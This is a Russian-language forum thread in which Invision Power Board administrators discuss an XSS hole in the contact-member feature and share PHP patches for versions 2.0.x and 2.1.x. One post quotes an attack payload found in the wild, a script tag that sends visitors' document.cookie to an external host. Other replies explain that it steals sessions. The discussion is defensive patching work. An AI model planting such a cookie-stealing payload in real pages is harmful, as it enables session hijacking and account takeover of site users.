Уязвимость

[Skull]

http://www.security.nnov.ru/Ldocument661.html

 

У меня на 2.1.4 со всеми багфиксами, alert без вопросов выскочил

<script>alert()</script>

[sM1Le]

http://www.security.nnov.ru/Ldocument661.html

 

У меня на 2.1.4 со всеми багфиксами, alert без вопросов выскочил

<script>alert()</script>

У нас уже пофиксено как дня 4

[Skull]

Ну это понятно, просто до не клиентов (потенциальных клиентов) тоже донести хотелось, так как сам случайно узнал.

[naka]

Пофиксел с недельку назад, блягодаря доброму человеку, с этого форума, который рассказал про дырку)

[~* L O V E R *~]

Ничего себе уязвимость, вот это дырка. Актуальна кстати похоже во всех версиях (на IPB 2.0.x работает).

Уязвимость позволяет использовать любые html теги

 

Лично я пофиксил, поставив чтобы жалоба отправлялась не на РП, а на мыло.

 

У нас уже пофиксено как дня 4

Вот интересно о скольких дырках в безопасности обычные пользователи так еще и не знают.

[naka]

Возможное исправление на 2.1.x (с)казал PALADIN

 

В файле

./sources/action_public/misc/contact_member.php

 

найти Код

$this->lib->msg_post = $this->email->message;

 

 

 

заменить на Код

$this->lib->msg_post = $this->ipsclass->clean_evil_tags($this->ipsclass->parse_clean_value($this->email->message));

[xRay]

Ну а для 2.0.х тогда так будет

 

в файле sources/misc/contact_member.php

 

находим:

$this->lib->msg_post	= $this->email->message;

 

заменяем на:

$this->lib->msg_post	= $std->clean_evil_tags($std->clean_value($this->email->message));

[Fox Mulder]

Спасибо за помощь. Пофиксили вроде!

А кто-то может сказать что этот засланный скрипт сделал, а то я чота слабо понимаю?

 

<script>img = new Image(); img.src = "http://s.netsec.ru/lol/pic.gif?"+document.cookie;</script>

[Raynor]

Куки стырил, всех кто смотрел страницу с ним.

[naka]

Эт снифер. Далее злоумышленик мог поставить себе твой ийли и хэш и мог зати под твои акаунтом.

[xRay]

Уже не в первый раз убеждаюсь что береженого бог бережет Ребят защищиайте вход в админку еще и Апачем, в смысле что,s Апач пароль тряс на входе в админку пароль. В этом случае если и пролезут в базу через SQL-иньекцию то хрен им в админку им не попасть. Максимум это смогут похулиганить на самом форуме пользуясь админо-модерскими полномочиями.

 

Сорьки вырвалось...

[Fox Mulder]

Если форум стоит на хост-прове.. токак это сделать?

[Dekker]

все вопросы данной тематики обсуждаються

 

Уязвимости форумов Invision Power Board